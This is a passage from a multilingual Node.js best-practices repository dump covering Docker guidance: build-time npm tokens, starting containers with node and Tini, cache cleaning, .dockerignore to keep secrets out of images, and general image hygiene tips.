ci\r\n\r\n# The rest comes here\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Code Example – Building securely using multi-stage build\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\nFROM node:12-slim AS build\r\n\r\nARG NPM_TOKEN\r\n\r\nWORKDIR /usr/src/app\r\nCOPY . /dist\r\n\r\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\r\n npm ci --production && \\\r\n rm -f .npmrc\r\n\r\n\r\nFROM build as prod\r\n\r\nCOPY --from=build /dist /dist\r\nCMD [\"node\", \"index.js\"]\r\n\r\n# The ARG and .npmrc won't appear in the final image but can be found in the Docker daemon un-tagged images list - make sure to delete those\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Code Example Anti Pattern – Using build time args\r\n\r\n<details>\r\n\r\n<summary><strong>Dockerfile</strong></summary>\r\n\r\n```dockerfile\r\nFROM node:12-slim\r\n\r\nARG NPM_TOKEN\r\n\r\nWORKDIR /usr/src/app\r\nCOPY . /dist\r\n\r\nRUN echo \"//registry.npmjs.org/:\\_authToken=\\$NPM_TOKEN\" > .npmrc && \\\r\n npm ci --production && \\\r\n rm -f .npmrc\r\n\r\n# Deleting the .npmrc within the same copy command will not save it inside the layer, however it can be found in image history\r\n\r\nCMD [\"node\", \"index.js\"]\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"These secrets aren’t saved in the final Docker\"\r\n\r\nFrom the blog, [Alexandra Ulsh](https://www.alexandraulsh.com/2019/02/24/docker-build-secrets-and-npmrc/?fbclid=IwAR0EAr1nr4_QiGzlNQcQKkd9rem19an9atJRO_8-n7oOZXwprToFQ53Y0KQ)\r\n\r\n> In November 2018 Docker 18.09 introduced a new --secret flag for docker build. This allows us to pass secrets from a file to our Docker builds. These secrets aren’t saved in the final Docker image, any intermediate images, or the image commit history. With build secrets, you can now securely build Docker images with private npm packages without build arguments and multi-stage builds.\r\n\r\n```\r\n\r\n```\r\n"
  },
  {
    "path": "sections/docker/bootstrap-using-node.basque.md",
    "content": "# Abiarazi edukiontzia node komandoa erabiliz npm erabili ordez\n\n## Azalpena\n\nOhikoa da jendeak `CMD 'npm start'` erabiltzea bere aplikazioa abiarazteko kodea egitea. Praktika txarra da hori, ordea. `npm` bitarrak ez du seinalerik birbidaliko zure aplikaziora, aplikazioa behar bezala ixtea eragozten duena (ikus [/sections/docker/graceful-shutdown.basque.md]). Bigarren mailako prozesuak  erabiltzen badituzu, ez dira behar bezala garbituko ustekabeko itzaltzeren bat gertatzen bada, prozesu zonbiak utziko dituena. `npm start`ek ere onuragarria ez den prozesu bat gehiago egiten du. Erabili `CMD ['node','server.js']` zure aplikazioa abiarazteko. Zure aplikazioak bigarren mailako prozesuak baditu, erabili gainera `TINI`sarbide gisa.\n\n### Kode adibidea: abiarazi aplikazioa Node erabiliz\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nCMD [\"node\", \"server.js\"]\n```\n\n### Kode adibidea: erabili Tiny sarbide gisa\n\n```dockerfile\nFROM node:12-slim AS build\n\n# Gehitu Tini bigarren mailako prozesuak erabiltzen badituzu\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"server.js\"]\n```\n\n### Anti ereduak\n\nnpm start erabiliz\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# ez egin hau!\nCMD \"npm start\"\n```\nNode string bakarrean erabiltzeak zure komandoa egikaritzeko bash/ash shell prozesu bat abiaraziko du. Hori ia `npm` erabiltzea modukoa da\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# ez egin hau, bash abiatuko du eta\nCMD \"node server.js\"\n```\n\nnpmrekin abiatuz, hau da prozesuaren zuhaitza:\n\n```console\n$ ps falx\n  UID   PID  PPID   COMMAND\n    0     1     0   npm\n    0    16     1   sh -c node server.js\n    0    17    16    \\_ node server.js\n```\n\nBi prozesu estra hauek edukitzeak ez du inongo abantailarik ekartzen\n\nIturriak:\n\nhttps://maximorlov.com/process-signals-inside-docker-containers/\n\nhttps://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#handling-kernel-signals\n"
  },
  {
    "path": "sections/docker/bootstrap-using-node.chinese.md",
    "content": "# 使用node命令而不是npm启动容器\n\n## 一段解释\n\n我们经常看到开发者使用`CMD 'npm start'`启动app的代码示例。这是一个不好的做法。因为`npm`不会向您的app转发信号（signals），这将阻止应用优雅关闭（graceful shutdown），（见[/sections/docker/graceful-shutdown.md]）。如果您使用了子进程（child-processes），在意外关闭时则无法正确清理它们，将僵尸进程留在主机上。同时，`npm start`也导致无意义的增加一个额外进程。使用`CMD ['node','server.js']`启动您的应用吧。假如您的应用使用了子进程（child-processes），也可以使用`TINI`作为入口（entrypoint）。\n\n### 代码示例 - 启动Node\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nCMD [\"node\", \"server.js\"]\n```\n\n\n### 代码示例 - 使用Tiny作为入口（ENTRYPOINT）\n\n```dockerfile\nFROM node:12-slim AS build\n\n# 使用子进程（child-processes）的情况下，添加Tini\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"server.js\"]\n```\n\n### 反模式\n\n使用npm start\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# 不要这么做!\nCMD \"npm start\"\n```\n\n在同一字符串命令里面使用node，将启动一个bash/ash脚本进程去执行您的命令。它和使用`npm`的效果类似。\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# 不要这么做，它将启动bash\nCMD \"node server.js\"\n```\n\n使用npm启动，这里是进程树：\n```console\n$ ps falx\n  UID   PID  PPID   COMMAND\n    0     1     0   npm\n    0    16     1   sh -c node server.js\n    0    17    16    \\_ node server.js\n```\n额外的两个进程没有任何好处。\n\n来源:\n\n\nhttps://maximorlov.com/process-signals-inside-docker-containers/\n\n\nhttps://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#handling-kernel-signals"
  },
  {
    "path": "sections/docker/bootstrap-using-node.french.md",
    "content": "# Bootstrap container using node command instead of npm\n\n## One paragraph explainer\n\nWe are used to see code examples where folks start their app using `CMD 'npm start'`. This is a bad practice. The `npm` binary will not forward signals to your app which prevents graceful shutdown (see [/sections/docker/graceful-shutdown.md]). If you are using child-processes they won’t be cleaned up correctly in case of unexpected shutdown, leaving zombie processes on your host. `npm start` also results in having an extra process for no benefit. To start you app use `CMD ['node','server.js']`. If your app spawns child-processes also use `TINI` as an entrypoint.\n\n### Code example - Bootsraping using Node\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nCMD [\"node\", \"server.js\"]\n```\n\n\n### Code example - Using Tiny as entrypoint\n\n```dockerfile\nFROM node:12-slim AS build\n\n# Add Tini if using child-processes\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"server.js\"]\n```\n\n### Antipatterns\n\nUsing npm start\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# don’t do that!\nCMD \"npm start\"\n```\n\nUsing node in a single string will start a bash/ash shell process to execute your command. That is almost the same as using `npm`\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# don’t do that, it will start bash\nCMD \"node server.js\"\n```\n\nStarting with npm, here’s the process tree:\n```console\n$ ps falx\n  UID   PID  PPID   COMMAND\n    0     1     0   npm\n    0    16     1   sh -c node server.js\n    0    17    16    \\_ node server.js\n```\nThere is no advantage to those two extra processes.\n\nSources:\n\n\nhttps://maximorlov.com/process-signals-inside-docker-containers/\n\n\nhttps://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#handling-kernel-signals"
  },
  {
    "path": "sections/docker/bootstrap-using-node.japanese.md",
    "content": "# npm の代わりに node コマンドを使用した Bootstrap コンテナ\n\n## 一段落説明\n\n`CMD 'npm start'` を使ってアプリを起動するコード例をよく見かけます。これは悪いプラクティスです。`npm` バイナリはシグナルをアプリに転送しないので、グレースフルシャットダウンができません ( [/sections/docker/graceful-shutdown.japanese.md] を参照してください)。子プロセスを使用している場合、予期せぬシャットダウンの場合には正しくクリーンアップされず、ホスト上にゾンビプロセスが残ってしまいます。また、`npm start` を実行しても、何のメリットもなく余分なプロセスが発生してしまいます。アプリを起動するには、`CMD ['node','server.js’]` を使用します。アプリが子プロセスを生成する場合は、`TINI` をエントリポイントとして使用します。\n\n### コード例 - node を使用した Bootsraping\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nCMD [\"node\", \"server.js\"]\n```\n\n\n### コード例 - エントリーポイントとしての Tiny の使用\n\n```dockerfile\nFROM node:12-slim AS build\n\n# 子プロセスを使用している場合は、Tini を追加します。\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"server.js\"]\n```\n\n### アンチパターン\n\nUsing npm start\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# これはしないでください!\nCMD \"npm start\"\n```\n\nUsing node in a single string will start a bash/ash shell process to execute your command. That is almost the same as using `npm`\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# これはしないでください、bash が起動されます。\nCMD \"node server.js\"\n```\n\nnpm でスタートすると、プロセスツリーは以下のようになります。:\n```console\n$ ps falx\n  UID   PID  PPID   COMMAND\n    0     1     0   npm\n    0    16     1   sh -c node server.js\n    0    17    16    \\_ node server.js\n```\nその2つの余分なプロセスには何のメリットもありません。\n\nソース:\n\n\nhttps://maximorlov.com/process-signals-inside-docker-containers/\n\n\nhttps://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#handling-kernel-signals\n"
  },
  {
    "path": "sections/docker/bootstrap-using-node.md",
    "content": "# Bootstrap container using node command instead of npm\n\n## One paragraph explainer\n\nWe are used to see code examples where folks start their app using `CMD 'npm start'`. This is a bad practice. The `npm` binary will not forward signals to your app which prevents graceful shutdown [see](/sections/docker/graceful-shutdown.md). If you are using child-processes they won’t be cleaned up correctly in case of unexpected shutdown, leaving zombie processes on your host. `npm start` also results in having an extra process for no benefit. To start you app use `CMD ['node','server.js']`. If your app spawns child-processes also use `TINI` as an entrypoint.\n\n### Code example - Bootstrapping using Node\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nCMD [\"node\", \"server.js\"]\n```\n\n\n### Code example - Using Tiny as entrypoint\n\n```dockerfile\nFROM node:12-slim AS build\n\n# Add Tini if using child-processes\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"server.js\"]\n```\n\n### Antipatterns\n\nUsing npm start\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# don’t do that!\nCMD \"npm start\"\n```\n\nUsing node in a single string will start a bash/ash shell process to execute your command. That is almost the same as using `npm`\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# don’t do that, it will start bash\nCMD \"node server.js\"\n```\n\nStarting with npm, here’s the process tree:\n```console\n$ ps falx\n  UID   PID  PPID   COMMAND\n    0     1     0   npm\n    0    16     1   sh -c node server.js\n    0    17    16    \\_ node server.js\n```\nThere is no advantage to those two extra processes.\n\nSources:\n\n\nhttps://maximorlov.com/process-signals-inside-docker-containers/\n\n\nhttps://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#handling-kernel-signals\n"
  },
  {
    "path": "sections/docker/clean-cache.basque.md",
    "content": "# Garbitu NODE_MODULE cachea\n\n<br/><br/>\n\n### Azalpena\n\nnpm eta Yarn Node paketeen kudeatzaileek cachean gordetzen dituzte lokalean instalatutako paketeak, liburutegi horien beharra dituzten etorkizuneko proiektuek urruneko biltegi batetik eskuratu beharrik izan ez dezaten. Horrek paketeak bikoiztu eta biltegiratze gehiago kontsumitzen duen arren, normalean pakete berdinak instalatzen jarraitzen duen tokiko garapen ingurunean merezi egiten du hori egitea. Docker edukiontzian biltegiratzea handitzeak ez du ezertarako balio, menpekotasuna behin bakarrik instalatzen baitu. Cachea kenduta, MB asko ezabatzen dira iruditik kode lerro bakarra erabiliz. Hori egiten ari zaren bitartean, ziurtatu zero ez den kode batekin irteten ez dela eta IE eraikitzean huts egiten duela cachearen arazoengatik. Hori ekidin daiteke --force adierazlea erantsiz.\n\n_Mesedez, kontutan hartu hau ez dela garrantzitsua etapa anitzeko konpilazioa  erabiltzen duzun kasuan, ez duzu-eta pakete berririk instalatzen azken etapan_\n\n<br/><br/>\n\n### Kode adibidea: cachea garbitu\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# Gainontzeko guztia hemen dator\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/clean-cache.chinese.md",
    "content": "# 清除NODE_MODULE缓存\n\n<br/><br/>\n\n### 一段解释\n\nnode包管理器，npm和Yarn，会本地缓存安装过的包，以便在未来的项目中，如果需要同样的包，就不需要从远程仓库重新获取。尽管这会导致包的重复，消耗更多的存储 - 作为回报，它维持了一个安装相同包的本地开发环境。而在Docker容器中，这种存储是没什么价值的，因为它仅仅安装依赖一次。通过移除这类缓存，只需要使用一行代码，上十MB的存储会从image中移除。当这样做的时候，确保它不会通过非零（non-zero）码退出，因而由于缓存问题导致CI构建失败 - 这可以通过添加一个force标志位来避免。\n\n*请注意如果您使用multi-stage构建，只要您在最后阶段不安装新的包，清除缓存是没意义的*\n\n<br/><br/>\n\n### 代码示例 - 清除缓存\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# 剩余部分\n```\n\n</details>"
  },
  {
    "path": "sections/docker/clean-cache.french.md",
    "content": "# Clean NODE_MODULE cache\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nNode package managers, npm & Yarn, cache the installed packages locally so that future projects which need the same libraries won't need to fetch from a remote repository. Although this duplicates the packages and consumes more storage - it pays off in a local development environment that typically keeps installing the same packages. In a Docker container this storage increase is worthless since it installs the dependency only once. By removing this cache, using a single line of code, tens of MB are shaved from the image. While doing so, ensure that it doesn't exit with non-zero code and fail the CI build because of caching issues - This can be avoided by including the --force flag.\n\n*Please note that this is not relevant if you are using a multi-stage build as long as you don't install new packages in the last stage*\n\n<br/><br/>\n\n### Code Example – Clean cache\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# The rest comes here\n```\n\n</details>"
  },
  {
    "path": "sections/docker/clean-cache.japanese.md",
    "content": "# NODE_MODULE キャッシュをクリーンアップする\n\n<br/><br/>\n\n### 一段落説明\n\nNode パッケージマネージャである npm や Yarn は、同じライブラリを必要とする将来のプロジェクトがリモートリポジトリから取得する必要が無いように、インストールされたパッケージをローカルにキャッシュします。これはパッケージを複製し、より多くのストレージを消費しますが、一般的に同じパッケージをインストールし続けるローカルの開発環境においては効果的です。Docker コンテナでは、依存関係をインストールするのは一度だけなので、このストレージの増加には意味がありません。一行のコードを利用してこのキャッシュを削除することで、イメージから数十 MB を削ることができます。そうする間、non-zero code で中断し、CI のビルドに失敗しないようにしてください - これは --force フラグを含めることで回避できます。\n\n*マルチステージビルドを利用している場合は、最後のステージで新しいパッケージをインストールしない限り、このプラクティスは関係が無いことに注意してください*\n\n<br/><br/>\n\n### コード例 - キャシュをクリーンアップする\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# 残りの部分がここに記述されます\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/clean-cache.md",
    "content": "# Clean NODE_MODULE cache\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nNode package managers, npm & Yarn, cache the installed packages locally so that future projects which need the same libraries won't need to fetch from a remote repository. Although this duplicates the packages and consumes more storage - it pays off in a local development environment that typically keeps installing the same packages. In a Docker container this storage increase is worthless since it installs the dependency only once. By removing this cache, using a single line of code, tens of MB are shaved from the image. While doing so, ensure that it doesn't exit with non-zero code and fail the CI build because of caching issues - This can be avoided by including the --force flag.\n\n*Please note that this is not relevant if you are using a multi-stage build as long as you don't install new packages in the last stage*\n\n<br/><br/>\n\n### Code Example – Clean cache\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# The rest comes here\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/docker-ignore.basque.md",
    "content": "# Erabili .dockerignore sekretuak filtratzea ekiditeko\n\n<br/><br/>\n\n### Azalpena\n\nDocker konpilazio komandoak tokian tokiko fitxategiak konpilazioaren testuinguruko ingurunean kopiatzen ditu sare birtual baten bidez. Kontuz ibili, garapen eta IE karpetek .npmrc, .aws, .env fitxategiak eta beste fitxategi garrantzitsu batzuk eduki ditzakete eta. Ondorioz, gertatu daiteke Dockereko irudiek sekretuak gordetzea eta lurralde arriskutsuetan agerian uztea (esaterako Docker bilgailua, kideen zerbitzariak). Mundu hobe batean Dockerfile fitxategiak zehaztu beharko luke zer ari den kopiatzen. Horretaz gainera, azken segurtasun sare gisa, gehitu .dockerignore fitxategia, beharrezkoak ez diren karpetak eta balizko sekretuak iragazten dituena. Hori egiteak abiadura azkartzen du gainera, ekoizpenean erabilerarik ez duten garapen karpeta arruntak alde batera utziz (adibidez .git, proben emaitzak, garatze programen konfigurazioak), eraikitzaileak cachea hobeto erabil dezake eta errendimendu hobea eskuratu\n\n<br/><br/>\n\n### Kode adibidea: .dockerignore fitxategi lehenetsi ona Node.jsrentzat\n\n<details>\n<summary><strong>.dockerignore</strong></summary>\n\n```\n**/node_modules/\n**/.git\n**/README.md\n**/LICENSE\n**/.vscode\n**/npm-debug.log\n**/coverage\n**/.env\n**/.editorconfig\n**/.aws\n**/dist\n```\n\n</details>\n\n<br/><br/>\n\n### Anti ereduaren kode adibidea: kopia errekurtsiboa fitxategi guztientzat\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\n# The next line copies everything\nCOPY . .\n\n# Hemen duzu beste guztia\n\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/docker-ignore.chinese.md",
    "content": "# 使用.dockerignore防止泄漏机密\n\n<br/><br/>\n\n### 一段解释\n\nDocker的build命令会通过一个虚拟网络（virtual network）拷贝本地文件到构建的上下文环境。注意 - 开发和CI文件夹会包含机密文件，比如.npmrc，.aws，.env，以及其他一些敏感文件。最终，Docker镜像可能会包含机密信息，并在不安全的区域暴露它们（例如，Docker repository，partners servers）。一个更好的方式是，Dockerfile应该明确地描述哪些文件需要被复制。除此之外，包含一个.dockerginore文件，还充当最后一个安全网，过滤掉不必要的文件夹和潜在的机密文件。这样做还可以加快构建速度 - 通过排除在生产环境并不会用到的通用开发文件夹（例如.git，测试结果，IDE配置），整个构建过程可以更好的使用缓存，并取得一个更佳的性能。\n\n<br/><br/>\n\n### 代码示例 – 对于Node.js，一个好的默认.dockerignore示例\n\n<details>\n<summary><strong>.dockerignore</strong></summary>\n\n```\n**/node_modules/\n**/.git\n**/README.md\n**/LICENSE\n**/.vscode\n**/npm-debug.log\n**/coverage\n**/.env\n**/.editorconfig\n**/.aws\n**/dist\n```\n\n</details>\n\n<br/><br/>\n\n### 代码示例 反模式 - 遍历拷贝所有文件\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\n# 下一行拷贝所有文件\nCOPY . .\n\n# 剩余部分\n\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/docker-ignore.french.md",
    "content": "# Use .dockerignore to prevent leaking secrets\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nThe Docker build command copies the local files into the build context environment over a virtual network. Be careful - development and CI folders contain secrets like .npmrc, .aws, .env files and other sensitive files. Consequently, Docker images might hold secrets and expose them in unsafe territories (e.g. Docker repository, partners servers). In a better world the Dockerfile should be explicit about what is being copied. On top of this include a .dockerignore file that acts as the last safety net that filters out unnecessary folders and potential secrets. Doing so also boosts the build speed - By leaving out common development folders that have no use in production (e.g. .git, test results, IDE configuration), the builder can better utilize the cache and achieve better performance\n\n<br/><br/>\n\n### Code Example – A good default .dockerignore for Node.js\n\n<details>\n<summary><strong>.dockerignore</strong></summary>\n\n```\n**/node_modules/\n**/.git\n**/README.md\n**/LICENSE\n**/.vscode\n**/npm-debug.log\n**/coverage\n**/.env\n**/.editorconfig\n**/.aws\n**/dist\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti-Pattern – Recursive copy of all files\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\n# The next line copies everything\nCOPY . .\n\n# The rest comes here\n\n```\n\n</details>"
  },
  {
    "path": "sections/docker/docker-ignore.japanese.md",
    "content": "# .dockerignore を使用してシークレット情報の漏洩を防ぐ\n\n<br/><br/>\n\n### 一段落説明\n\nDocker ビルドコマンドは、仮想ネットワークを介してローカルファイルをビルドコンテキスト環境にコピーします。注意してください - 開発と CI のフォルダには、.npmrc、.aws、.envファイルなどの機密ファイルが含まれています。その結果、Docker イメージは秘密を保持し、危険な領域(Docker リポジトリやパートナーのサーバーなど)で公開される可能性があります。より良い世界では、Dockerfile は何がコピーされるのかを明確にすべきです。その上で、不要なフォルダや潜在的な秘密をフィルタリングする最後のセーフティネットとしての役割を果たす .dockerignore ファイルを含めてください。そうすることで、ビルド速度も向上します。- 本番では使わない一般的な開発フォルダ (例えば .git 、テスト結果、IDE の設定など) を省くことで、キャッシュをより有効に活用し、より良いパフォーマンスを得ることができます。\n\n<br/><br/>\n\n### コード例 – Node.js のための良いデフォルトの .dockerignore\n\n<details>\n<summary><strong>.dockerignore</strong></summary>\n\n```\n**/node_modules/\n**/.git\n**/README.md\n**/LICENSE\n**/.vscode\n**/npm-debug.log\n**/coverage\n**/.env\n**/.editorconfig\n**/.aws\n**/dist\n```\n\n</details>\n\n<br/><br/>\n\n### アンチパターン　コード例 – 全てのファイルの再帰的コピー\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\n# 次の行はすべてをコピーします\nCOPY . .\n\n# 残りはここに来ます\n\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/docker-ignore.md",
    "content": "# Use .dockerignore to prevent leaking secrets\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nThe Docker build command copies the local files into the build context environment over a virtual network. Be careful - development and CI folders contain secrets like .npmrc, .aws, .env files and other sensitive files. Consequently, Docker images might hold secrets and expose them in unsafe territories (e.g. Docker repository, partners servers). In a better world the Dockerfile should be explicit about what is being copied. On top of this include a .dockerignore file that acts as the last safety net that filters out unnecessary folders and potential secrets. Doing so also boosts the build speed - By leaving out common development folders that have no use in production (e.g. .git, test results, IDE configuration), the builder can better utilize the cache and achieve better performance\n\n<br/><br/>\n\n### Code Example – A good default .dockerignore for Node.js\n\n<details>\n<summary><strong>.dockerignore</strong></summary>\n\n```\n**/node_modules/\n**/.git\n**/README.md\n**/LICENSE\n**/.vscode\n**/npm-debug.log\n**/coverage\n**/.env\n**/.editorconfig\n**/.aws\n**/dist\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti-Pattern – Recursive copy of all files\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\n# The next line copies everything\nCOPY . .\n\n# The rest comes here\n\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/generic-tips.basque.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# Common Node.js Dockeren praktika onak\n\nDockeren praktika arrunten atal honek programazio lengoaia guztietan araupetuta dauden praktika onak biltzen ditu, ez dira Node.jsrentzat bakarrik\n\n## ![✔] Nahiago COPY, ADD komandoa baino\n\n**TL;PL:** COPY seguruagoa da, bakarrik lekuko fitxategiak kopiatzen ditu eta; ADDek, aldiz, bestelako funtzionalitateak onartzen ditu, adibidez, urruneko webguneetatik binarioak deskargatzea\n\n## ![✔] Ekidin oinarrizko sistema eragilea eguneratzea\n\n**TL;PL:** eraikitze prozesuaren lekuko binarioak eguneratzeak (adibidez apt-get update) sendotasunik gabeko irudiak sortzen ditu exekutatzen duen bakoitzean eta pribilegio handiak eskatzen ditu. Horren ordez, erabili sarri eguneratzen diren oinarrizko irudiak\n\n## ![✔] Sailkatu irudiak etiketen bidez\n\n**TL;PL:** irudi bakoitzaren metadatuak emateak Ops-eko profesionalei modu egokian tratatzen lagundu diezaieke. Adibidez, gehitu mantentze arduradunaren izena, eraikitze data eta bestelako informazioa, irudi bat erabili behar duenari lagungarria izango zaiona\n\n## ![✔] Erabili pribilegiorik gabeko edukiontziak\n\n**TL;PL:** pribilegiodun edukiontziek erabiltzaile nagusiak (root) dituen baimen eta gaitasun berdinak ditu makina ostalariaren gainean. Hori ia inoiz ez da beharrezkoa, eta, normalean, Node irudi ofizialetan sortzen den 'node' erabiltzailea erabili behar da\n\n## ![✔] Arakatu eta egiaztatu bukaerako emaitza\n\n**TL;PL:** batzuetan erraza da eraikitze prozesuko albo efektuak ahaztea, hala nola sekretu filtratuak edota beharrezkoak ez diren fitxategiak. [Dive](https://github.com/wagoodman/dive) bezalako tresnak erabiltzeak sortutako irudia arakatzeko horrelako arazoak identifikatzen lagun dezake\n\n## ![✔] Burutu osotasunaren egiaztapena\n\n**TL;PL:** oinarrizko edo bukaerako irudiak argitaratzen ari zaren bitartean, sarea engainatu eta birbideratu egin daiteke irudi maltzurrak deskargatzeko. Dockeren protokolo estandarrak ez du ezer eragozten edukia sinatu eta egiaztatu ezean. [Docker Notary](https://docs.docker.com/notary/getting_started/) da hori lortzea ahalbidetzen duten tresnetako bat da\n"
  },
  {
    "path": "sections/docker/generic-tips.chinese.md",
